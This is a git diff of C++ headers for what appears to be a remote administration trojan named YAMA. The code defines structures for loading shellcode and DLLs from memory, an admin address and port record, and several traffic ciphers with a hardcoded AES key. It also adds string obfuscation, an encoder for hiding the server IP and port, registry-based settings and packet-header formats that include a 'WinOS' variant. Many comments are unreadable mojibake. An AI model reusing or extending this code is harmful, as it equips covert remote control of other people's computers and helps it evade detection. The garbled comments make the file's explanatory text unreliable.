// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
|
typedef struct DllExecuteInfo {
|
||||||
|
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int Size; // DLL <20><>С
|
||||||
|
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
|
||||||
|
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
|
||||||
|
char Md5[33]; // DLL MD5
|
||||||
|
char Reseverd[23];
|
||||||
|
}DllExecuteInfo;
|
||||||
|
|
||||||
enum
|
enum
|
||||||
{
|
{
|
||||||
SOFTWARE_CAMERA = 0,
|
SOFTWARE_CAMERA = 0,
|
||||||
@@ -428,6 +812,9 @@ enum
|
|||||||
|
|
||||||
SHELLCODE = 0,
|
SHELLCODE = 0,
|
||||||
MEMORYDLL = 1,
|
MEMORYDLL = 1,
|
||||||
|
|
||||||
|
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: ֻ<>Ǽ<EFBFBD><C7BC><EFBFBD>DLL,<2C><>Ҫ<EFBFBD><D2AA>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1>д<EFBFBD><D0B4><EFBFBD>
|
||||||
|
CALLTYPE_IOCPTHREAD = 1, // <20><><EFBFBD><EFBFBD>run<75><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>: DWORD (__stdcall *run)(void* lParam)
|
||||||
};
|
};
|
||||||
|
|
||||||
typedef DWORD(__stdcall* PidCallback)(void);
|
typedef DWORD(__stdcall* PidCallback)(void);
|
||||||
@@ -483,6 +870,29 @@ inline std::string ToPekingTimeAsString(const time_t* t) {
|
|||||||
return buffer;
|
return buffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
typedef struct Validation {
|
||||||
|
char From[20]; // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||||||
|
char To[20]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char Admin[100]; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>صĹ<D8B5><C4B9><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7>
|
||||||
|
int Port; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD>˿ڣ<CBBF>Ĭ<EFBFBD>ϵ<EFBFBD>ǰ<EFBFBD>˿ڣ<CBBF>
|
||||||
|
char Checksum[16]; // Ԥ<><D4A4><EFBFBD>ֶ<EFBFBD>
|
||||||
|
Validation(float days, const char* admin, int port, const char* id="") {
|
||||||
|
time_t from = time(NULL), to = from + time_t(86400 * days);
|
||||||
|
memset(this, 0, sizeof(Validation));
|
||||||
|
std::string fromStr = ToPekingTimeAsString(&from);
|
||||||
|
std::string toStr = ToPekingTimeAsString(&to);
|
||||||
|
strcpy_s(From, fromStr.c_str());
|
||||||
|
strcpy_s(To, toStr.c_str());
|
||||||
|
strcpy_s(Admin, admin);
|
||||||
|
Port = port;
|
||||||
|
if(strlen(id))memcpy(Checksum, id, 16);
|
||||||
|
}
|
||||||
|
bool IsValid() const {
|
||||||
|
std::string now = ToPekingTimeAsString(NULL);
|
||||||
|
return From <= now && now <= To;
|
||||||
|
}
|
||||||
|
}Validation;
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
||||||
#define SCREENYSPY_IMPROVE 0
|
#define SCREENYSPY_IMPROVE 0
|
||||||
@@ -597,4 +1007,10 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
#define MYMSG MSG
|
||||||
|
#else
|
||||||
|
#define MYMSG MSG64
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
30
common/dllRunner.h
Normal file
30
common/dllRunner.h
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// A DLL runner.
|
||||||
|
class DllRunner {
|
||||||
|
public:
|
||||||
|
virtual ~DllRunner(){}
|
||||||
|
virtual void* LoadLibraryA(const char* path, int size = 0) = 0;
|
||||||
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
||||||
|
virtual BOOL FreeLibrary(void* mod) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Default DLL runner.
|
||||||
|
class DefaultDllRunner : public DllRunner {
|
||||||
|
private:
|
||||||
|
std::string m_path;
|
||||||
|
HMODULE m_mod;
|
||||||
|
public:
|
||||||
|
DefaultDllRunner(const std::string &path="") :m_path(path), m_mod(nullptr) {}
|
||||||
|
// Load DLL from the disk.
|
||||||
|
virtual void* LoadLibraryA(const char* path, int size = 0) {
|
||||||
|
return m_mod = ::LoadLibraryA(size ? m_path.c_str() : path);
|
||||||
|
}
|
||||||
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||||
|
return ::GetProcAddress(m_mod, lpProcName);
|
||||||
|
}
|
||||||
|
virtual BOOL FreeLibrary(void* mod) {
|
||||||
|
return ::FreeLibrary(m_mod);
|
||||||
|
}
|
||||||
|
};
|
||||||
146
common/encrypt.h
Normal file
146
common/encrypt.h
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
#pragma once
|
||||||
|
// This file implements a serial of data encoding methods.
|
||||||
|
#include <vector>
|
||||||
|
extern "C" {
|
||||||
|
#include "aes.h"
|
||||||
|
}
|
||||||
|
|
||||||
|
#define ALIGN16(n) ( (( (n) + 15) / 16) * 16 )
|
||||||
|
|
||||||
|
// Encoder interface. The default encoder will do nothing.
|
||||||
|
class Encoder {
|
||||||
|
public:
|
||||||
|
virtual ~Encoder() {}
|
||||||
|
// Encode data before compress.
|
||||||
|
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||||
|
// Decode data after uncompress.
|
||||||
|
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||||
|
};
|
||||||
|
|
||||||
|
// XOR Encoder implementation.
|
||||||
|
class XOREncoder : public Encoder {
|
||||||
|
private:
|
||||||
|
std::vector<char> Keys;
|
||||||
|
|
||||||
|
public:
|
||||||
|
XOREncoder(const std::vector<char>& keys = { 0 }) : Keys(keys) {}
|
||||||
|
|
||||||
|
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {
|
||||||
|
XOR(data, len, Keys);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {
|
||||||
|
static std::vector<char> reversed(Keys.rbegin(), Keys.rend());
|
||||||
|
XOR(data, len, reversed);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
void XOR(unsigned char* data, int len, const std::vector<char>& keys) const {
|
||||||
|
for (char key : keys) {
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
data[i] ^= key;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// XOREncoder16 A simple Encoder for the TCP body. It's using for `HELL` protocol.
|
||||||
|
// This method is provided by ChatGPT. Encode data according to the 6th and 7th elem.
|
||||||
|
class XOREncoder16 : public Encoder {
|
||||||
|
private:
|
||||||
|
static uint16_t pseudo_random(uint16_t seed, int index) {
|
||||||
|
return ((seed ^ (index * 251 + 97)) * 733) ^ (seed >> 3);
|
||||||
|
}
|
||||||
|
|
||||||
|
void encrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const {
|
||||||
|
uint16_t key = ((k1 << 8) | k2);
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Two rounds of pseudo-random swaps
|
||||||
|
for (int round = 0; round < 2; ++round) {
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
int j = pseudo_random(key, i + round * 100) % len;
|
||||||
|
std::swap(data[i], data[j]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void decrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const {
|
||||||
|
uint16_t key = ((k1 << 8) | k2);
|
||||||
|
for (int round = 1; round >= 0; --round) {
|
||||||
|
for (int i = len - 1; i >= 0; --i) {
|
||||||
|
int j = pseudo_random(key, i + round * 100) % len;
|
||||||
|
std::swap(data[i], data[j]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifndef NO_AES
|
||||||
|
void aes_encrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) {
|
||||||
|
if (!data || !key || !iv || len <= 0 || len % 16 != 0) {
|
||||||
|
return; // AES CBC requires data length to be multiple of 16
|
||||||
|
}
|
||||||
|
|
||||||
|
struct AES_ctx ctx;
|
||||||
|
AES_init_ctx_iv(&ctx, key, iv);
|
||||||
|
AES_CBC_encrypt_buffer(&ctx, data, len);
|
||||||
|
}
|
||||||
|
|
||||||
|
void aes_decrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) {
|
||||||
|
if (!data || !key || !iv || len <= 0 || len % 16 != 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
struct AES_ctx ctx;
|
||||||
|
AES_init_ctx_iv(&ctx, key, iv);
|
||||||
|
AES_CBC_decrypt_buffer(&ctx, data, len);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
public:
|
||||||
|
XOREncoder16() {}
|
||||||
|
|
||||||
|
void Encode(unsigned char* data, int len, unsigned char* param) override {
|
||||||
|
if (param[6] == 0 && param[7] == 0) return;
|
||||||
|
if (param[7] == 1) {
|
||||||
|
#ifndef NO_AES
|
||||||
|
static const unsigned char aes_key[16] = {
|
||||||
|
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 };
|
||||||
|
return aes_encrypt(data, len, aes_key, param + 8);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
encrypt_internal(data, len, param[6], param[7]);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Decode(unsigned char* data, int len, unsigned char* param) override {
|
||||||
|
if (param[6] == 0 && param[7] == 0) return;
|
||||||
|
decrypt_internal(data, len, param[6], param[7]);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
class WinOsEncoder : public Encoder {
|
||||||
|
public:
|
||||||
|
virtual ~WinOsEncoder() {}
|
||||||
|
// Encode data before compress.
|
||||||
|
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {
|
||||||
|
return XOR(data, len, param);
|
||||||
|
}
|
||||||
|
// Decode data after uncompress.
|
||||||
|
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {
|
||||||
|
return XOR(data, len, param);
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
void XOR(unsigned char* data, int len, unsigned char* password)
|
||||||
|
{
|
||||||
|
for (int i = 0, j = 0; i < len; i++) {
|
||||||
|
((char*)data)[i] ^= (password[j++]) % 456 + 54;
|
||||||
|
if (i % (10) == 0)
|
||||||
|
j = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
173
common/header.h
Normal file
173
common/header.h
Normal file
@@ -0,0 +1,173 @@
|
|||||||
|
#pragma once
|
||||||
|
// This file implements a serial of data header encoding methods.
|
||||||
|
#include <cstring>
|
||||||
|
#include <common/skCrypter.h>
|
||||||
|
|
||||||
|
#define MSG_HEADER "HELL"
|
||||||
|
|
||||||
|
enum HeaderEncType {
|
||||||
|
HeaderEncUnknown = -1,
|
||||||
|
HeaderEncNone,
|
||||||
|
HeaderEncV1,
|
||||||
|
};
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>ʶ<EFBFBD><CAB6> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(4<>ֽ<EFBFBD>) + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(4<>ֽ<EFBFBD>)
|
||||||
|
const int FLAG_COMPLEN = 4;
|
||||||
|
const int FLAG_LENGTH = 8;
|
||||||
|
const int HDR_LENGTH = FLAG_LENGTH + 2 * sizeof(unsigned int);
|
||||||
|
const int MIN_COMLEN = 8;
|
||||||
|
|
||||||
|
typedef void (*EncFun)(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
typedef void (*DecFun)(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
inline void default_encrypt(unsigned char* data, size_t length, unsigned char key) {
|
||||||
|
data[FLAG_LENGTH - 2] = data[FLAG_LENGTH - 1] = 0;
|
||||||
|
}
|
||||||
|
inline void default_decrypt(unsigned char* data, size_t length, unsigned char key) {
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
inline void encrypt(unsigned char* data, size_t length, unsigned char key) {
|
||||||
|
if (key == 0) return;
|
||||||
|
for (size_t i = 0; i < length; ++i) {
|
||||||
|
unsigned char k = static_cast<unsigned char>(key ^ (i * 31)); // <20><>̬<EFBFBD>Ŷ<EFBFBD> key
|
||||||
|
int value = static_cast<int>(data[i]);
|
||||||
|
switch (i % 4) {
|
||||||
|
case 0:
|
||||||
|
value += k;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
value = value ^ k;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
value -= k;
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
value = ~(value ^ k); // <20>ಽ<EFBFBD>任<EFBFBD><E4BBBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
data[i] = static_cast<unsigned char>(value & 0xFF);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
inline void decrypt(unsigned char* data, size_t length, unsigned char key) {
|
||||||
|
if (key == 0) return;
|
||||||
|
for (size_t i = 0; i < length; ++i) {
|
||||||
|
unsigned char k = static_cast<unsigned char>(key ^ (i * 31));
|
||||||
|
int value = static_cast<int>(data[i]);
|
||||||
|
switch (i % 4) {
|
||||||
|
case 0:
|
||||||
|
value -= k;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
value = value ^ k;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
value += k;
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
value = ~(value) ^ k; // <20><EFBFBD><E2BFAA><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
data[i] = static_cast<unsigned char>(value & 0xFF);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
inline EncFun GetHeaderEncoder(HeaderEncType type) {
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case HeaderEncNone:
|
||||||
|
return default_encrypt;
|
||||||
|
case HeaderEncV1:
|
||||||
|
return encrypt;
|
||||||
|
default:
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef struct HeaderFlag {
|
||||||
|
char Data[FLAG_LENGTH + 1];
|
||||||
|
HeaderFlag(const char header[FLAG_LENGTH + 1]) {
|
||||||
|
memcpy(Data, header, sizeof(Data));
|
||||||
|
}
|
||||||
|
char& operator[](int i) {
|
||||||
|
return Data[i];
|
||||||
|
}
|
||||||
|
const char operator[](int i) const {
|
||||||
|
return Data[i];
|
||||||
|
}
|
||||||
|
const char* data() const {
|
||||||
|
return Data;
|
||||||
|
}
|
||||||
|
}HeaderFlag;
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ
|
||||||
|
inline HeaderFlag GetHead(EncFun enc) {
|
||||||
|
char header[FLAG_LENGTH + 1] = { 'H','E','L','L', 0 };
|
||||||
|
HeaderFlag H(header);
|
||||||
|
unsigned char key = time(0) % 256;
|
||||||
|
H[FLAG_LENGTH - 2] = key;
|
||||||
|
H[FLAG_LENGTH - 1] = ~key;
|
||||||
|
enc((unsigned char*)H.data(), FLAG_COMPLEN, H[FLAG_LENGTH - 2]);
|
||||||
|
return H;
|
||||||
|
}
|
||||||
|
|
||||||
|
enum FlagType {
|
||||||
|
FLAG_WINOS = -1,
|
||||||
|
FLAG_UNKNOWN = 0,
|
||||||
|
FLAG_SHINE = 1,
|
||||||
|
FLAG_FUCK = 2,
|
||||||
|
FLAG_HELLO = 3,
|
||||||
|
FLAG_HELL = 4,
|
||||||
|
};
|
||||||
|
|
||||||
|
inline int compare(const char *flag, const char *magic, int len, DecFun dec, unsigned char key){
|
||||||
|
unsigned char buf[32] = {};
|
||||||
|
memcpy(buf, flag, MIN_COMLEN);
|
||||||
|
dec(buf, len, key);
|
||||||
|
if (memcmp(buf, magic, len) == 0) {
|
||||||
|
memcpy((void*)flag, buf, MIN_COMLEN);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>ȶ<EFBFBD><C8B6><EFBFBD><EFBFBD>ݰ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ľ<EFBFBD><C4BD>ܺ<EFBFBD><DCBA><EFBFBD><EFBFBD>ȶ<EFBFBD><C8B6><EFBFBD><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD>н<EFBFBD><D0BD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>бȶ<D0B1>
|
||||||
|
inline FlagType CheckHead(const char* flag, DecFun dec) {
|
||||||
|
FlagType type = FLAG_UNKNOWN;
|
||||||
|
if (compare(flag, skCrypt(MSG_HEADER), FLAG_COMPLEN, dec, flag[6]) == 0) {
|
||||||
|
type = FLAG_HELL;
|
||||||
|
}
|
||||||
|
else if (compare(flag, skCrypt("Shine"), 5, dec, 0) == 0) {
|
||||||
|
type = FLAG_SHINE;
|
||||||
|
}
|
||||||
|
else if (compare(flag, skCrypt("<<FUCK>>"), 8, dec, 0) == 0) {
|
||||||
|
type = FLAG_FUCK;
|
||||||
|
}
|
||||||
|
else if (compare(flag, skCrypt("Hello?"), 6, dec, flag[6]) == 0) {
|
||||||
|
type = FLAG_HELLO;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
type = FLAG_UNKNOWN;
|
||||||
|
}
|
||||||
|
return type;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>Զ<EFBFBD><D4B6>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD>ϰ汾ͨѶЭ<D1B6><D0AD>
|
||||||
|
inline FlagType CheckHead(char* flag, HeaderEncType& funcHit) {
|
||||||
|
static const DecFun methods[] = { default_decrypt, decrypt };
|
||||||
|
static const int methodNum = sizeof(methods) / sizeof(DecFun);
|
||||||
|
char buffer[FLAG_LENGTH + 1] = {};
|
||||||
|
for (int i = 0; i < methodNum; ++i) {
|
||||||
|
memcpy(buffer, flag, FLAG_LENGTH);
|
||||||
|
FlagType type = CheckHead(buffer, methods[i]);
|
||||||
|
if (type != FLAG_UNKNOWN) {
|
||||||
|
memcpy(flag, buffer, FLAG_LENGTH);
|
||||||
|
funcHit = HeaderEncType(i);
|
||||||
|
return type;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
funcHit = HeaderEncUnknown;
|
||||||
|
return FLAG_UNKNOWN;
|
||||||
|
}
|
||||||
126
common/iniFile.h
Normal file
126
common/iniFile.h
Normal file
@@ -0,0 +1,126 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "common/commands.h"
|
||||||
|
|
||||||
|
#define YAMA_PATH "Software\\YAMA"
|
||||||
|
#define CLIENT_PATH "Software\\ServerD11"
|
||||||
|
|
||||||
|
class config
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
char m_IniFilePath[_MAX_PATH];
|
||||||
|
|
||||||
|
public:
|
||||||
|
virtual ~config() {}
|
||||||
|
|
||||||
|
config()
|
||||||
|
{
|
||||||
|
::GetModuleFileNameA(NULL, m_IniFilePath, sizeof(m_IniFilePath));
|
||||||
|
GET_FILEPATH(m_IniFilePath, "settings.ini");
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual int GetInt(const std::string& MainKey, const std::string& SubKey, int nDef=0)
|
||||||
|
{
|
||||||
|
return ::GetPrivateProfileIntA(MainKey.c_str(), SubKey.c_str(), nDef, m_IniFilePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĵ<D0B5>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
virtual int Get1Int(const std::string& MainKey, const std::string& SubKey, char ch=';', int nDef=0)
|
||||||
|
{
|
||||||
|
std::string s = GetStr(MainKey, SubKey, "");
|
||||||
|
s = StringToVector(s, ch)[0];
|
||||||
|
return s.empty() ? nDef : atoi(s.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data)
|
||||||
|
{
|
||||||
|
std::string strData = std::to_string(Data);
|
||||||
|
return ::WritePrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), strData.c_str(), m_IniFilePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "")
|
||||||
|
{
|
||||||
|
char buf[_MAX_PATH] = { 0 };
|
||||||
|
::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), def.c_str(), buf, sizeof(buf), m_IniFilePath);
|
||||||
|
return std::string(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data)
|
||||||
|
{
|
||||||
|
return ::WritePrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), Data.c_str(), m_IniFilePath);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
class iniFile : public config
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
HKEY m_hRootKey;
|
||||||
|
std::string m_SubKeyPath;
|
||||||
|
|
||||||
|
public:
|
||||||
|
~iniFile() {}
|
||||||
|
|
||||||
|
iniFile(const std::string& path = YAMA_PATH)
|
||||||
|
{
|
||||||
|
m_hRootKey = HKEY_CURRENT_USER;
|
||||||
|
m_SubKeyPath = path;
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>дΪ<D0B4>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
|
bool SetInt(const std::string& MainKey, const std::string& SubKey, int Data) override
|
||||||
|
{
|
||||||
|
return SetStr(MainKey, SubKey, std::to_string(Data));
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
|
bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data) override
|
||||||
|
{
|
||||||
|
std::string fullPath = m_SubKeyPath + "\\" + MainKey;
|
||||||
|
HKEY hKey;
|
||||||
|
if (RegCreateKeyExA(m_hRootKey, fullPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
bool bRet = (RegSetValueExA(hKey, SubKey.c_str(), 0, REG_SZ,
|
||||||
|
reinterpret_cast<const BYTE*>(Data.c_str()),
|
||||||
|
static_cast<DWORD>(Data.size() + 1)) == ERROR_SUCCESS);
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
return bRet;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
|
std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "") override
|
||||||
|
{
|
||||||
|
std::string fullPath = m_SubKeyPath + "\\" + MainKey;
|
||||||
|
HKEY hKey;
|
||||||
|
char buffer[512] = { 0 };
|
||||||
|
DWORD dwSize = sizeof(buffer);
|
||||||
|
std::string result = def;
|
||||||
|
|
||||||
|
if (RegOpenKeyExA(m_hRootKey, fullPath.c_str(), 0, KEY_READ, &hKey) == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
DWORD dwType = REG_SZ;
|
||||||
|
if (RegQueryValueExA(hKey, SubKey.c_str(), NULL, &dwType, reinterpret_cast<LPBYTE>(buffer), &dwSize) == ERROR_SUCCESS &&
|
||||||
|
dwType == REG_SZ)
|
||||||
|
{
|
||||||
|
result = buffer;
|
||||||
|
}
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>
|
||||||
|
int GetInt(const std::string& MainKey, const std::string& SubKey, int defVal = 0) override
|
||||||
|
{
|
||||||
|
std::string val = GetStr(MainKey, SubKey);
|
||||||
|
if (val.empty())
|
||||||
|
return defVal;
|
||||||
|
|
||||||
|
try {
|
||||||
|
return std::stoi(val);
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
return defVal;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
55
common/ip_enc.h
Normal file
55
common/ip_enc.h
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <vector>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
// Encode for IP and Port.
|
||||||
|
// provided by ChatGPT.
|
||||||
|
class StreamCipher {
|
||||||
|
private:
|
||||||
|
uint32_t state;
|
||||||
|
|
||||||
|
// <20><EFBFBD><F2B5A5B7><EFBFBD><EFBFBD><EFBFBD>α<EFBFBD><CEB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
uint8_t prngNext() {
|
||||||
|
// <20><><EFBFBD>ӣ<EFBFBD>xorshift32<33><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
state ^= (state << 13);
|
||||||
|
state ^= (state >> 17);
|
||||||
|
state ^= (state << 5);
|
||||||
|
// <20>ٻ<EFBFBD><D9BB><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ķ<F2B5A5B5><C4B7><EFBFBD><EFBFBD>Ա任
|
||||||
|
uint8_t out = (state & 0xFF) ^ ((state >> 8) & 0xFF);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
